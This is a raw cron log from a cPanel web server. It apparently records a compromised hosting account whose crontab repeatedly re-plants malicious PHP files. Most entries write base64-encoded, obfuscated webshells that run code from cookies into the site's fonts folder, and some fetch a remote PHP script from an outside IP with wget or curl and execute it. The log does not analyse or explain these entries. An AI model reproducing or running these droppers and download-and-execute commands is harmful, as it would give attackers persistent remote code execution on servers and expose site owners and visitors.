Feb 22 03:25:01 ip-184-168-122-23 CROND[13711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:25:01 ip-184-168-122-23 CROND[13712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:25:01 ip-184-168-122-23 CROND[13715]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 03:25:01 ip-184-168-122-23 CROND[13717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:25:01 ip-184-168-122-23 CROND[13718]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 03:25:01 ip-184-168-122-23 CROND[13719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:26:01 ip-184-168-122-23 CROND[14017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:26:01 ip-184-168-122-23 CROND[14018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:26:01 ip-184-168-122-23 CROND[14021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:26:01 ip-184-168-122-23 CROND[14024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:26:01 ip-184-168-122-23 CROND[14026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:27:01 ip-184-168-122-23 CROND[14253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:27:01 ip-184-168-122-23 CROND[14254]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Feb 22 03:27:01 ip-184-168-122-23 CROND[14256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:27:01 ip-184-168-122-23 CROND[14258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:27:01 ip-184-168-122-23 CROND[14259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:28:01 ip-184-168-122-23 CROND[14512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:28:01 ip-184-168-122-23 CROND[14514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:28:01 ip-184-168-122-23 CROND[14516]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:28:01 ip-184-168-122-23 CROND[14519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:28:01 ip-184-168-122-23 CROND[14517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:29:01 ip-184-168-122-23 CROND[14735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:29:01 ip-184-168-122-23 CROND[14736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:29:01 ip-184-168-122-23 CROND[14738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:29:01 ip-184-168-122-23 CROND[14740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:30:01 ip-184-168-122-23 CROND[14942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:30:01 ip-184-168-122-23 CROND[14944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:30:01 ip-184-168-122-23 CROND[14946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:30:01 ip-184-168-122-23 CROND[14948]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:30:01 ip-184-168-122-23 CROND[14950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 03:30:01 ip-184-168-122-23 CROND[14951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:30:01 ip-184-168-122-23 CROND[14947]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 03:30:01 ip-184-168-122-23 CROND[14956]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 03:31:01 ip-184-168-122-23 CROND[15252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:31:01 ip-184-168-122-23 CROND[15254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:31:01 ip-184-168-122-23 CROND[15253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:31:01 ip-184-168-122-23 CROND[15255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:31:01 ip-184-168-122-23 CROND[15256]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 03:32:01 ip-184-168-122-23 CROND[15537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:32:01 ip-184-168-122-23 CROND[15538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:32:01 ip-184-168-122-23 CROND[15536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:32:01 ip-184-168-122-23 CROND[15540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:32:01 ip-184-168-122-23 CROND[15539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:33:01 ip-184-168-122-23 CROND[15777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:33:01 ip-184-168-122-23 CROND[15779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:33:01 ip-184-168-122-23 CROND[15780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:33:01 ip-184-168-122-23 CROND[15781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:34:01 ip-184-168-122-23 CROND[16050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:34:01 ip-184-168-122-23 CROND[16052]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:34:01 ip-184-168-122-23 CROND[16053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:34:01 ip-184-168-122-23 CROND[16055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:34:01 ip-184-168-122-23 CROND[16054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:35:01 ip-184-168-122-23 CROND[16332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:35:01 ip-184-168-122-23 CROND[16331]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 03:35:01 ip-184-168-122-23 CROND[16335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 03:35:01 ip-184-168-122-23 CROND[16333]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 03:35:01 ip-184-168-122-23 CROND[16334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:35:01 ip-184-168-122-23 CROND[16342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:35:01 ip-184-168-122-23 CROND[16345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:35:01 ip-184-168-122-23 CROND[16343]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 03:36:01 ip-184-168-122-23 CROND[16612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:36:02 ip-184-168-122-23 CROND[16614]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:36:02 ip-184-168-122-23 CROND[16615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:36:02 ip-184-168-122-23 CROND[16616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:36:02 ip-184-168-122-23 CROND[16618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:37:01 ip-184-168-122-23 CROND[16935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
